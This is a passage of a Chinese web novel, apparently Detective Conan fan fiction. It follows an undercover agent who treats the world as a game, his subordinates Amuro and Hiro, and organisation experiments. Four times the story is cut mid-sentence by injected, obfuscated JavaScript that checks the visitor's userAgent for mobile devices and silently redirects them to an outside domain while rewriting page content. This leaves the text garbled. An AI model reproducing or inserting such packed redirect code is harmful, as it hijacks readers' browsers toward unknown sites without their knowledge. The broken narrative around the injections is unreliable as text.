「那又怎样?」原月见嗤笑一声,不知道系统怎么能问出这种问题,「你看他们多少岁谈恋爱,有早恋这一说吗?而且女性法定结婚年龄是16岁以上,男性则是18岁以上,换句话说,这里未成年也能结婚。嗯,他们的法定饮酒年龄倒是20岁以上。」 系统被说的哑口无言,还是选择了闭嘴。 天色逐渐灰暗,月亮开始浮现身影。既然时间已经不早了,原月见不想在外面被冷风吹,匆匆和萩原研二说了句再见,就准备离开了。 萩原研二很有分寸,见原月见打算离开,便和他挥手道别,没有再拉着他聊天。 回到了驾驶座上,萩原研二转动车钥匙,引擎的声音响起,遥望远处闪烁的灯光,萩原研二情不自禁的回想刚刚看到的那双眼睛。 眼睛的主人像是猫一样,表现的太殷勤就会引起对方的警惕。可如果拿出有趣的东西摆在面前逗一逗,又会扑上来。 回去和小阵平谈谈今天的事吧,萩原研二可没忘记松田阵平之前的念叨。 「绿川,明天我有事外出,不需要过来了。」——田纳西。 收到田纳西的邮件后,诸伏景光下意识思考田纳西是去做什么了。这些天的交流让诸伏景光摸清了田纳西的作息,那就是没有正常的作息,不一定几点起,也不一定几点睡,白天可能是晚上,晚上也可能是白天。总之一句话,那就是没有规律。 田纳西经常因为游戏漫画或者小说通宵达旦,甚至上头了可以24个小时不睡。如果说组织成员能为了一项任务竭尽全力,一天一夜不睡,那么田纳西是能为了玩乐昼夜不分。发现这点后很难形容诸伏景光当时的心情,他都担心田纳西哪天会猝死,甚至还忍不住开口劝了田纳西。 “不管怎么样,还是要注意休息。既然没有遇到组织的任务,那么时间很充裕,不用急于一时。”诸伏景光尽量语气温和,措辞委婉的劝解道。 结果原月见面带笑意的回答他:“没关系,如果我真猝死在家,这不是还有绿川你吗?你可以给我收尸呀。这么一想,这个冰冷的组织都有点人情味了。” 一向脾气温和的诸伏景光难得生了火气,实在有些看不下去原月见这番透支自己的身体。眼见原月见已经熬了快整整一天,诸伏景光直接夺过他手上拿着的游戏手柄,放到了一边,语气强硬:“你该睡觉了,原月见。” 黑发金眸的青年好像愣在了原地,刚刚那浮于表面的笑容都褪去了,似乎没想到诸伏景光居然敢这么做。意识到这点后诸伏景光不禁稍有后悔,他不该这么冲动,田纳西未必领这份情,更不是他的朋友,而是组织的代号成员。 结果原月见只是眨了眨鎏金色的眼睛,任由诸伏景光的动作,“好吧,那就听你的。” 没想到这件事就这么轻轻放过去,诸伏景光不免惊讶,田纳西什么时候这么好说话了?还是说相处的这些天,田纳西真的产生了感情?这点诸伏景光自己都有点难以相信。 而这些天里,诸伏景光模糊意识到了为什么田纳西要让他过来送饭,而不是选择自己出去吃饭。田纳西本人身上是带着玄幻色彩的,好像天生就拥有吸引案件的体质。托了厨师这个角色的福,诸伏景光比降谷零更接近田纳西,亲眼目睹了原月见身边发生案件的频率。而相识的这段时间里,原月见已经搬过了一次家,原因是住在隔壁的夫妇吵架间不慎失火,发生了火灾,害得原月见不得不选择搬家。 一向坚持唯物主义的诸伏景光,都不禁产生了可能有些人天生是有些霉运在身上的迷信想法。意识到这点后,诸伏景光感觉他可能是被田纳西传染了。 田纳西不算十分迷信,更多是出自于求个心理安慰,自娱自乐。不过他求神拜佛也十分具有功利性,有用的就是好的,没用的不信也罢,诸伏景光叹为观止。 诸伏景光找机会询问降谷零田纳西的动向,不出意外的得到了否定的答案,只得叹息一声,思考能不能在田纳西回来之后询问下。 而正是原月见说有事的这一天,日上三竿,伏特加左等右等,始终没有等到原月见的身影,连一根头发丝都没见到。值得给原月见打电话,然后收到的就是您的电话暂时无人接通。 田纳西又出了什么幺蛾子?联系不上田纳西,伏特加也不敢直接和琴酒声张,因为这种事田纳西经常干。前几回伏特加还会第一时间和琴酒汇报,结果反馈的都是田纳西又被当成犯罪嫌疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949295|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,田纳西又差点成为受害者,田纳西记错了时间,田纳西忘记了今天的事……总而言之,琴酒从最开始的认真也演变成了后来不想在上面费精力的麻木,但总归事关田纳西,是boss认真关照的人,他们该调查的还是要调查。经过这么几出,筛选初步信息的工作就落到了伏特加的头上。 因为有时候田纳西真的会搞个大的,伏特加怕他莫名其妙的死了,该捞人的时候他们还是要捞人,田纳西的运气真的很背,简直是被死神垂怜。 不过就算如此,关于田纳西的被害妄想,伏特加也不像因此理解田纳西。他总觉得田纳西是在找机会掺杂私货,故意折腾人。 但既然如今田纳西手下有了两个新人,伏特加自认新人就要发挥新人的作用,领着组织的薪水就该干活。毫不犹豫的先把这项工作丢给了安室透,等着安室透再给他汇报,这样一来,伏特加就减少了和田纳西的进一步接触。 安室透本质上隶属于情报组,消息总要比绿川唯灵通许多。安排好了的伏特加自认满意,等着安室透给他带回来消息。 大中午头,没有一点先兆就被安排了工作的安室透盯着仿佛阴魂不散的田纳西这几个字,觉得这场面似曾相识。凭借良好的记忆力,安室透想起来上次田纳西进警署的时候,伏特加也是这么干的,这种组织成员的惯性让他有点无语。 安室透也知道田纳西更换了住址,理由很简单,田纳西搬家的时候不忘使唤他和hiro,让他们忙前忙后,自己悠闲自在。 不,仔细想想,安室透更正了刚刚的说法。当时主要还是他在忙,hiro的任务倒是简单,田纳西不让hiro干重活,把脏活累活都甩给了他,生怕因此让hiro那双做饭的手受伤,还主动给hiro递水,把偏心两个字写的明明白白。 安室透不稀罕组织成员的偏心,但亲眼瞧见这幅场景,不免磨了磨牙,他给田纳西辛苦做的事真是没有被对方放在眼里,更没有记在心里。就算本质上这些是被吩咐的工作,而非出自安室透的自愿,安室透还是忍不住在心里念了一句真是个小白眼狼。 最后这场搬家工作,还是诸伏景光看不下去大部分的工作都摊到了安室透身上,而他又过于清闲,主动上前帮忙的。不过就算是帮忙,程度也非常有限,毕竟他们记得这是在卧底,两个组织成员之间关系过于亲密也是一大忌。 ……当然,这点可能对于田纳西是个例外。他实在是没有边界感,似乎寻常人的羞耻心也不放在心上,明明不熟,却能表现的两人非常熟稔。 安室透拿着原月见给他和hiro的钥匙,免得他们下次再来还要撬锁。转动钥匙后,安室透轻手轻脚的走近了客厅,克制发出的声音,打开原月见卧室的门,安室透抬眼一看,不禁陷入了无语的状态。 ……真是白担心了,对方还好好的在床上睡得香甜,胸口微微的起伏证明原月见只是陷入了睡眠。 17.第 17 章 安室透又联想之前诸伏景光提到的田纳西的混乱作息,精准的抓住了真相,握着门把手的手都紧了些。 如果这是他在警察厅的同事,如果这是他的下属,甚至就算是上司,对待工作如此疏忽,对待任务这么不上心,安室透也会毫不犹豫上前指正一番。 可眼前的是组织成员,安室透只好反复告诉自己忍耐,一切是为了国家,重复几遍后,他感觉堵在胸口的气终于顺了出来。 “……你还站在那里干什么?”原月见的声音响起,带着一丝刚睡醒的困意,睡眼惺忪的从床上爬了起来。 “伏特加在找你。”安室透不想替伏特加背锅,直截了当地说明了来龙去脉。 原月见捂住嘴打了个哈欠,懒洋洋的下床,“好了,你给伏特加打个电话,说我这就准备过去,让他再等一会儿。反正已经等了那么长时间了,也不差这一会儿了。” 原月见说的如此理直气壮,安室透也只好干巴巴的嗯了一声。 ……还好田纳西是组织的人,不是警视厅的警察。摊上这么一个成员,一个人足够耗费几个人的资源,得到的回报更是低的可怜,简直是倒了大霉。 “幸亏我穿着睡衣,没有裸|睡的爱好,要不然安室你就完了。”原月见幽幽说道。 这样闯进他的房间,就算都是同性,原月见也会狠狠记上一笔,就像他之前天天记琴酒的仇一样。 “我又不会乱看。”安室透没想到这种细枝末节的事田纳西会如此在意,他们都是男人,而且在日本公共澡堂的场所往往是坦诚相见,更别提一起泡温泉了。 这么一想,安室透没忍住多问了一句:“那你泡温泉的时候怎么办?” “我从来不去泡温泉。”原月见瞥了安室透一眼,“而且日本地震频发,裸|睡不利于发生意外时逃命。万一家里再来几个歹徒,你还指着我现场穿衣服吗?” 然后原月见立刻下了逐客令:“你可以走了,我还要换衣服,赶紧出去给伏特加打电话吧。” 卧室的门毫不留情的在安室透面前直接关上了,把他本来想说的裸|睡的一些好处又堵了回去。 安室透坐在客厅,等了又等,原月见才姗姗来迟。没等他上前询问原月见目的地在哪,就见到对方疑惑地看着他:“你怎么还在这儿,我不是让你走了吗?” “难道你不需要我送你过去吗?”安室透面上保持微笑。 原月见耸了耸肩,“我要去组织基地,这得看伏特加让不让你去了,你有这个权限吗?” 闻言安室透心中一凛,这点伏特加确实没有跟他提,想不到会从田纳西这里得到机会接近组织的机密情报。 “你之前是怎么去的?”安室透谨慎问道。 “打出租车呀。”原月见理所当然的回答。 安室透:“……” 不是,组织基地明明是机密,田纳西居然还打出租车让人送他过去,生怕没人知道组织基地的位置吗?就这样还跟他说权限的问题,组织基地的位置他不一定能知道。 虽说组织的基地很多,安室透也知道其中的一些。但对于他这种加入组织的新人而言,这些基地可有可无,随时都能舍弃另寻他处。安室透直觉认为,田纳西去的基地或许会有所不同。 安室透艰难地找回了声音,“可是不会泄露基地的位置吗?” “我又不会让出租车司机送完全程。”原月见对安室透投以怀疑的目光,思考伏特加是不是找的新人有问题。 大概是这份目光过于直白,丝毫不加掩饰,安室透不禁捏紧了拳头,然后又立刻松开。 目睹这一切的系统直言不讳,「有没有可能,是你平时太不靠谱了,以至于让人觉得你做出什么事都不奇怪,泄露组织的基地位置也能干出来。」 「你说的有道理。」原月见难得反思了自己三秒,然后将其抛之脑后。 都已经反思过了,至于有没有改正那就是另一码事了,他能反思一下已经很不容易,安室透如果知道了都得感激他一下。 “就算如此,也不排除有泄露的风险。”安室透尽量委婉,他可不相信剩下的路田纳西能靠自己的脚老老实实走完。而且如果距离基地不远,那么提前下车想要隐藏基地的位置也就没有意义了。 不过这话一出口,安室透隐约猜到了答案。原月见的回答一出,更是证实了他的猜想。 “我会打电话给伏特加,让他来接我。反正伏特加给琴酒当了那么多年的小弟,天天给琴酒开车,当司机已经这么娴熟,也不差这几回了。正好我给他这个机会为组织发光发热,他高低得感谢我一下。” ……全中,果真如此。安室透忽然很不想理解田纳西的脑回路,总感觉他遭受了难以形容的磋磨。 既然原月见都这么说了,安室透本来想由着对方直接离开,结果发现漏了一点,立刻叫住了原月见:“既然你打车让出租车司机送完你前半程,我来做也可以吧?” 能够缩小组织基地的范围,哪怕还要再和田纳西相处一段时间,安室透觉得也能忍一下。 “你怎么这么殷勤?”原月见狐疑地看了安室透一眼,“这么积极干活,你是不是有问题。” 又是一个卷王?原月见十分震撼,虽然这个破组织存在肯定有它存在的理由,要是没有半分优点谁给它干活。但是打工人干活不都是为了钱吗,虽然也有一些比较崇高的要实现自我价值的理由,但都来混黑了,能崇高到哪里去? 就算是来混钱,有命挣钱也得有命花。天天忙成陀螺,连享受的时间都没有,那还有什么意思。在这一点上,原月见就和贝尔摩德十分有共同语言。 而且组织的一些任务固然回报很高,但那也是有风险的,万一任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953026|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务失败,要么把自己送进去了,要么就是被琴酒干掉了,死里逃生已经成了万幸。原月见时常怀疑,死在琴酒手底下的组织的人可比被什么日本公安、CIA、FBI、MI6等组织干掉的人多。 不过也不排除一些特例,琴酒如此卷王,虽然原月见天天说琴酒有病,实际上他认为琴酒纯粹是喜欢享受其中的快感,而不是为了金钱替组织卖命,琴酒只是想找到足够的理由杀人而已。不过显然,原月见不认为安室透和绿川唯是这种类型。 “我只是想证明自己的作用,在组织里想往上爬才是正常的吧?”安室透心里一紧,面上却泰然自若,甚至还忍不住腹诽,又不是人人都是田纳西,这么混日子。 原月见接受了这个解释,因为确实有几分道理。大家刚进入组织的时候积极表现往上爬,等混到了足够的地位再开始趁机捞油水,尸位素餐,但一开始时确实都是有几分能力在身,拼命干活表现,要不然也不会升到想要的职位。 “安室,你最好不要和琴酒一样都是卷王,否则我就要把给琴酒推荐的心理医生再推荐给你了。” 与其说他们太卷,不如说分明是田纳西太摸鱼吧?安室透觉得田纳西真的是颠倒黑白。不管怎么样,安室透自打上警校以来,碰到的大多数人都兢兢业业,恪尽职守,十分负责。这么想着,安室透又庆幸了一番,还好警察队伍里没有田纳西这种人。 “至于为什么我找出租车司机,而不是让你送我去,理由十分简单。”原月见语气太过理所当然,安室透直觉不会有什么有用的信息,但还是耐着性子听了下去。 “当然是为了花组织的钱,我打车的钱可以让组织报销。能想尽办法花组织的钱,干嘛要为组织省钱?安室你也是,你送我过去,油费难道不是钱吗?更别说你花的时间了,千金难买寸光阴这点你知不知道?”原月见语重心长,试图感化一个卷王,让对方被享受所腐蚀。 “你辛辛苦苦往上爬,还不是为了多挣点钱?人挣钱是为了什么,还不是为了花钱,花钱买享受。琴酒没有悟性想不通这点,你可不要跟着琴酒学。”原月见毫不客气再踩了琴酒一脚,拿琴酒做反面教材。 安室透在心里反驳,他当然不是为了金钱这种俗物,而是为了整个国家,身为组织成员的田纳西怎么可能理解这点?这种夏虫不可语冰的感受,安室透自然不可能和田纳西直说,只好表面退让:“你说的有道理,我会放在心上。” 原月见表面上满意的点了点头,心里却啧了一声,和系统交流,「真是没办法跟卷王沟通。」 「人各有志嘛。」系统虽然很想站在安室透这边,但也不想得罪原月见,只好挑了一些中规中矩的话。 「这种虚假的世界。」原月见冷哼一声,面上也跟着浮现了一丝厌烦之色,「不过都是人设和构建的剧情,沿着既定道路的提线木偶。」 18.第 18 章 一个吸引玩家的游戏,优秀的剧情和人设必不可少。而作为轰动一时的、以真实著称的全息游戏,更是其中翘楚。即使这个游戏一些地方过于逼真,人物感情细腻而丰富,细节设定十分完善,但是与现实的世界依旧有格格不入的地方,以至于这份真实性也存疑。 原月见不打算对此过分苛求,即使不能用一切不过是个游戏的理由来解释,这与现实的违和足够让他加以区别。即将进入二十一世纪,私家侦探还能屡屡压在警察的上面,各种案件层出不穷,似乎在找各种机会碰上那些所谓的名侦探,给他们扬名的机会,警察也对此睁只眼闭只眼,去捧侦探们的场。该说不愧是侦探游戏吗?见到这样的光景原月见已经习以为常,见怪不怪。甚至季节和时间都会短暂地发生错乱,即使频率不高,意识到这点后也很难将其视作真正的现实。 安室透敏锐地察觉到原月见表情的变化,这主要归功于对方完全不加以掩饰,对此他早已习惯。当安室透第一次接触到田纳西这个代号乃至于对方本人后,他就一直在揣摩田纳西,田纳西行事荒唐,一向将情绪的变化展现在脸上,心情好时对他们和颜悦色,心情不好也会直白展示,宛若不会遮掩情绪的孩子。 这对安室透和诸伏景光及时调整对田纳西的言行举止起了不小的作用,知道一个人的喜恶,自然方便从中获得对方的好感,也让田纳西对他们的态度比起最初那种爱答不理要上心许多,偶尔会给他们透露一些组织的情报。 虽然田纳西主要上心的是hiro,安室透完全是被顺带的,但同为好友,又同是卧底,hiro获得好处和他获得好处区别不大。 但现在的原月见,比起往日那浮于表面的情绪,如今泄露出的反感要厚重得多,也更加真实,没有了以往给安室透的那种轻飘飘的感觉。 眼见原月见心情不快,刚刚又赶他走,安室透没有继续待下去,和原月见说了一句“那我告辞了”,预料之中没有得到对方的半点眼神,便离开了原月见的家。 关上公寓大门的那刻,安室透松了口气。刚刚他的警铃不断在响,生怕走晚了撞在田纳西的枪口上。真是不知道刚刚又怎么惹到田纳西了,难不成就因为刚刚的谈话?对方的心情真是比天气还要难以揣测,至少天气的变化可以观察预知,而田纳西却能上一秒谈话时笑眯眯,下一秒就直接晴转多云。 至少他这样一走,不至于留下来继续碍田纳西的眼了。这么想着,安室透的身体倏地僵住。 ……该不会田纳西是故意的吧? 这个猜测一冒出来,安室透难以忽视,不断复盘这些天田纳西的一举一动。固然喜形于色容易被人猜到真实想法,可对田纳西来说并非全无好处。这样一来,至少组织的多数人都知道他的喜好,而一般没人想惹田纳西不快,免得被记恨上,田纳西折腾人是有一手的,因此会下意识顺着他的喜好来,伏特加便是如此。 而田纳西能得到什么?安室透脑海里几乎是立刻就冒出了田纳西那带着笑意的声线,“好处?当然是改善我的生活质量,提高我的职场体验了,人生最重要的是享受啊。” ……田纳西真的有毒,安室透闭了闭眼睛,一下子闪过了这些天田纳西不断使唤他的记忆,听到田纳西喊“安室”两个字,他都有点应激了。 生活用品他来采购,更换租房他来解决,任务大部分是他完成,少部分是hiro。谢天谢地,至少田纳西没让他打扫卫生。想到这里,安室透一向坚强的意志难得感到几分痛苦。 不知道田纳西忽然怎么抽风了,就连垃圾分类和扔垃圾的工作都甩给了他,义正言辞是为了上司的安全,他这个下属要好好出力。 安室透:“?” 怎么扔个垃圾还会威胁安全,这完全是田纳西偷懒的借口吧。 甚至安室透忍不住怀疑,这样下去,田纳西会不会干脆不让他和hiro升职,好一直这样当他的保姆?每每想到这里,安室透越发坚定了一定要多找几条后路的想法,想尽办法搭上朗姆的线,免得一直被田纳西使唤。不然这样下去,他们什么时候能接触到核心。 「你再不走待会就不是伏特加找你,而是琴酒了。」系统忍不住说道,「你不想看到琴酒吧?」 “谁说的?我可是很喜欢琴酒,怎么会不想见到他?” 「你分明是喜欢看琴酒想要干掉你却干不掉你的样子吧。」系统勉强同情了琴酒一秒钟,琴酒就不该让原月见加入组织,还调到他手底下。这不反噬来了吧?卷王以为其他人都该和他们一样,兢兢业业为组织发光发热。而依照系统对他的理解,原月见只会在一开始打游戏时有这劲头,一旦玩腻感到乏味后热情就会迅速退去,不如说原月见能在琴酒手下坚持半个月已经超出了它的预计,系统以为原月见能坚持一个星期都不错了。 即使有安室透来找过他,伏特加也一直在邮件轰炸,原月见依旧不紧不慢。他怎么可能为了赶时间一路狂奔?睡醒了他都不想动,能坐电梯下来打个车,都是为了从组织里混薪水而不得不做出的辛苦付出了。 “我真是付出了太多。”原月见忍不住感叹。 系统死鱼眼,「这话你在刚加入组织、成为公安卧底的时候还能说一说,嗯,读警校的时候也算,要不然轮不到你来卧底。不过现在说这话就太扭曲事实了吧?」 就像一个人打游戏还有新鲜劲儿的时候会疯狂肝游戏,丝毫不知疲惫。不过一旦上手,通关的差不多了,就会迅速丧失兴趣,原月见也是一样的道理,永远只有开头的三分钟热度。 伏特加不知道看了几次时间,又看了看邮件没有一封得到回复,深深怀疑田纳西是懒得回复他,装作没有看见。 这小子该不会是不想做实验,真的打算跑路了吧?伏特加陷入了怀疑,忍不住做一番思想斗争。 不应该啊,田纳西这么爱钱,可以说是视财如命,天天在组织里捞油水,想尽办法的混钱。都不知道田纳西是往哪里花的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957420|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,伏特加都忍不住痛心这个败家子,怎么这么能花钱!知不知道挣钱不容易!也就组织家大业大,能让他这么霍霍。就连琴酒看了田纳西的账单都忍不住额头青筋直跳。 而且不知怎的,田纳西还会忽然一个电话打过来,让他们紧急转账,还说不赶快给钱他就不干了,立刻跑路找别家。伏特加只好窝着一口气,拿出自己的银行卡转账给田纳西。但田纳西有时要的数额又大又急,为了稳住田纳西,别说伏特加了,就算是琴酒也得把自己的钱转给他。 要是离开了组织,田纳西上哪里找这种冤大头?虽说进行实验免不了皮肉之苦,但伏特加自认为组织已经足够温和了,去了其他的组织还未必会有这样的待遇。 而且实验的频率至少田纳西一直可以接受,总体而言还是花费时间少,来钱又快,伏特加自认如果他是田纳西,他也乐意一直在组织里待着。 虽然田纳西的种种行为让伏特加忍不住诟病,真的忍不住怀疑田纳西会跑路,但又能很快打消这个顾虑。因为田纳西真的很在意钱,只要钱到位,一切都好说。而组织Boss为了笼络人心,向来不在意撒钱,更别说田纳西关乎着Boss的目标,更是田纳西开口要多少,Boss就给多少。 其实鉴于田纳西的种种行为,组织Boss不是没想过干脆一劳永逸,直接控制住田纳西,把对方当实验体关押起来。这个想法以前伏特加也会暗搓搓推动,向琴酒进言,只是最终多方面考虑后,这个想法被搁置了。 因为田纳西有时太过不可控,而且有人给田纳西做过心理测验,专家得出的结论是田纳西真的有病。具体的表现症状为觉得世界是虚假的,一切都是游戏,认为只有自己的存在是真实的,而活着就是为了有趣,提升自己的游戏体验感。 伏特加倒觉得专家这份结论没毛病,因为田纳西刚开始加入组织的时候,出任务也够疯的,一些言论也会让人毛骨悚然,下意识远离这个精神病。那股疯劲,把组织的任务当成游戏任务的态度,甚至不顾自己的生命,伏特加看了都要退避三舍。也正是如此,琴酒一开始才对田纳西期待值很高,想要培养他成为心腹。 因为田纳西经常想做什么就做什么,骨子里有股和正常人不同的疯狂,不要命的时候是真的不要命,再经过组织专家认定有精神疾病后,组织Boss也就不打算采取过激手段,尽量温和对待田纳西,试图感化对方,一直留在组织。 不过私下里,组织Boss甚至吩咐过研究员,那就是田纳西当时吃的药是不是有问题,虽然药起了作用,但是后遗症就是带来精神上的疾病。如果这个推论证实,要他们赶紧解决,无论如何Boss也不想感受这番后遗症。 关于田纳西有精神疾病,把世界当成游戏场的想法,这点伏特加是认可的。但是田纳西的被害妄想症,伏特加只觉得他是故意拿这个当由头折腾人。 伏特加:这辈子都不想和精神病人打交道了!组织里不要再出现精神病! 19.第 19 章 终于在伏特加下定决心联系琴酒之前,原月见姗姗来迟,那如同饭后散步慢悠悠的步伐,急得伏特加肝火直冒。 “田纳西,你知道你迟到了多久吗?”伏特加忍不住开口问道,即使戴着墨镜,墨镜后面的眼睛如果能喷火,估计会把原月见烧得一点不剩。 “我睡醒还没来得及吃饭就过来了,伏特加你还不知足吗?” 伏特加反复告诉自己,他要忍耐!至少田纳西还记得没有先吃饭再过来,而不是让他再等一顿饭的时间,这已经很不错了,他得知足。 “好了,赶紧走吧,研究员等你很久了。”伏特加连忙催促。 事实上他已经很看得起田纳西了,知道对方大概率起不了多早,把见面的时间定到了10点,就算如此,田纳西还是晚来了两三个小时。已经到中午吃饭的时间了,不过就算没吃饭,这些研究员也得老老实实工作,他们又不是田纳西,没有任性的资格。 知道今天做的已经够多了,原月见也就没有再挑战伏特加的忍耐力究竟有多高,不紧不慢地跟在伏特加身后。就算伏特加有意加快步伐,原月见仍旧维持原来的速度,逼得伏特加不得不按照他的节奏来。 “琴酒正在做什么?”原月见冷不丁问道。 伏特加差点打了一个激灵,他最不想从田纳西的口中听到大哥的名字,多数情况下总没好事发生。上一次田纳西还能阴阳怪气琴酒,下一次田纳西就能面带微笑地说他喜欢琴酒,虽然这种情况最为少见,本质上也是因为普通的阴阳怪气已经达不到预期的效果,田纳西才改换方式,用口头的喜欢来恶心琴酒。但不管是哪种,琴酒被激怒了,伏特加也得胆战心惊,大哥心情不好的时候,从手底下讨生活也不容易啊!作为小弟他容易吗? “大哥在美国做任务,任务等级很高,有一定难度,这段时间不一定能回来!”伏特加赶紧回答。 听到这个回答,原月见眉宇舒展了一些,心情顺畅了不少,“琴酒就不该待在日本,他这种外国人长相,选日本作为常驻地,生怕别人记不住他的样子吗?还嫌他的长相不够特殊?还天天穿着一身黑衣服,恨不得告诉全世界他不是好人是吧?” 日本极道合法,一身黑的装扮再加上那身气质,原月见搞不懂琴酒和伏特加的脑回路,他们就不知道什么叫做低调行事吗?都加入非法组织了,行事作风还这么高调,自找麻烦。 “大哥也是没办法,日本这边离不开大哥。”伏特加努力替琴酒说话,即使琴酒并不在场。这点原月见都忍不住佩服伏特加,真就是琴酒的铁杆小弟,明明在他面前少说少错,不说为妙,伏特加居然还能吱声为琴酒应援。 原月见忍不住想了下他的两个下属,安室透和绿川唯,难得产生了好像输给了琴酒的感觉,一时陷入了思索,也就没再搭理伏特加,伏特加走路的步伐都轻松了不少。 不过原月见很快就完成了自我说服,绿川和安室怎么想着不重要,关键是要看他们怎么做,好用就行了,至于心里怎么腹诽他,其实这无所谓,一点都伤害不到他。有几个天天压榨下属的上司会觉得下属在心里尊敬自己?这就跟七八十岁的老头娶了年轻貌美的老婆一样,都是不能细究的。原月见有自知之明,也不会自讨没趣。 进入组织的基地,实验室里面是各种各样的精密仪器,价格更是不可估量。原月见进行和往常别无二致的检查,由于早就熟悉了流程,不需要研究员多说什么,就流畅而配合的完成了检查,没有花费多余的时间。 至于一些必要的疼痛,原月见也能饶有兴趣的观察发生在自己身上的一切。无论是尖锐的针头,推进的液体,还是金属的刀片划过肌肤纹理的痛感,即使一开始的新奇劲儿过去,原月见依旧还能抱有兴致,观察每次不同的变化,看看这些研究员还能想出什么。 伏特加偶尔会过来监督一下,就算同为组织的成员,手上已经沾过不少血,但打心里说伏特加还是不太想看这发生的一切,倒不是说什么同情怜悯,都混黑了这些觉悟伏特加还是有的。 他只是出于本能,下意识想远离危险的来源。那些研究员狂热的表情,用看小白鼠的目光看着田纳西,这点尚且在伏特加能接受的范围内,疯狂的科学家嘛,这很正常,科幻电影里经常这么表现。但真正令伏特加毛骨悚然的,还是田纳西看那些研究员的表情神态,以及明明自己躺在实验台上,田纳西居然还能露出那种感兴趣的神色。 有时伏特加都不知道田纳西究竟在想什么,对方又打算对这些研究员做什么,以至于伏特加常常拿着手枪,站在实验室的门口负责警戒。虽然这些研究员肯定不如田纳西重要,但是为了实验的进度,免得这些研究员出事,该做的还是要做。Boss已经不想再等那么久了,要是前功尽弃,一切重来,这后果过于严重。 尤其是当那些实验发生在田纳西的身上,伏特加更是寒毛直竖,忍不住怀疑组织研究的药物真的有那么神奇吗?以至于缔造出了这样的怪物。或许单论这种能力放在任何一个人身上伏特加都不会产生这种错觉,但放在田纳西的身上,伏特加很难不这样想。 好比一个喜欢玩游戏的人,一旦获得了外挂,在游戏里做出的破坏效果就会更加强。伏特加用田纳西的一贯思想这样代入,觉得思考出了真理。 等到实验都结束后,伏特加反而先长长叹了一口气,有种终于结束了的解脱感。等到原月见坐上他的车,伏特加情不自禁踩了油门,用比平时开车更快的速度把原月见直接送回了家,更不想说一句再见,伏特加觉得这有点不吉利,只是对原月见点了点头,就当告别,然后用飞也似的速度开车走了。 「……这绝对是把你当瘟神了。」系统又回忆了下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964829|159915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「这已经不是第1次第2次了,也不只是开车,安室离开的时候也走的飞快。」 甚至系统都没提宾加琴酒等人,因为过滤了一遍记忆后,系统发现组织里的绝大多数人都是用这种态度面对原月见的。无论开车还是步行,总归能跑的时候就跑得飞快。大部分人还是有尽量克制的,免得直接被原月见看出端倪,但是身体潜意识的本能是难以完全控制,只要原月见细细观察,很容易就得到答案。 “那又如何,我又不想和他们打好关系。这个游戏不是交友游戏,更不是攻略游戏,我干嘛要对他们上心?”原月见满不在乎。 「……我真有点好奇,你以前玩其他游戏是什么样子,用的什么态度?你总不至于玩攻略游戏还这样吧?」 原月见想了想,直接回答:“看情况,我其实是集邮玩家,什么都想试试。如果决心要通关,我还是会认真装一装的。但一旦通关,我就想试试其他的路线,什么结局都想打一遍。” 「有点难以想象你认真攻略人的样子。」系统的语气分外诚恳。 “所以我其实不太爱玩攻略游戏。”原月见耸了耸肩,打开冰箱的饮料,给自己倒了一杯。 “可能也没有那么擅长?实际上我玩的不多,这也不在我的兴趣范围内。” 「明天晚上7点开始,地点是×××,需要我来接你吗?」——萩原研二。 「不用了,而且我已经搬家了,不在原来的地址。」——原月见。 「欸,这么快就搬家了吗?有什么特殊的原因吗?需要帮忙可以随时联系我,希望小月见能给个机会让研二报恩。」 原月见的目光久久停留在“小月见”这几个字上,随后又移走了视线。 待在日本这么长时间,他最常被人称呼的还是用姓氏“原”,但其实无论是姓还是名,亦或者全称,对原月见而言都没有区别。因为是找公安做的假身份,资料上是本土日本人,所以名字的读音和中文毫不相关,原是はら,月见则是つきみ,用日语怎么称呼都和中文的发音相差甚远。 在原本的世界,多数人对他都是直呼全名,少部分熟人是叫“月见”。名字的来因很简单,取自月见草,因为这种植物生命力比较顽强,父母也就起了这个名字。 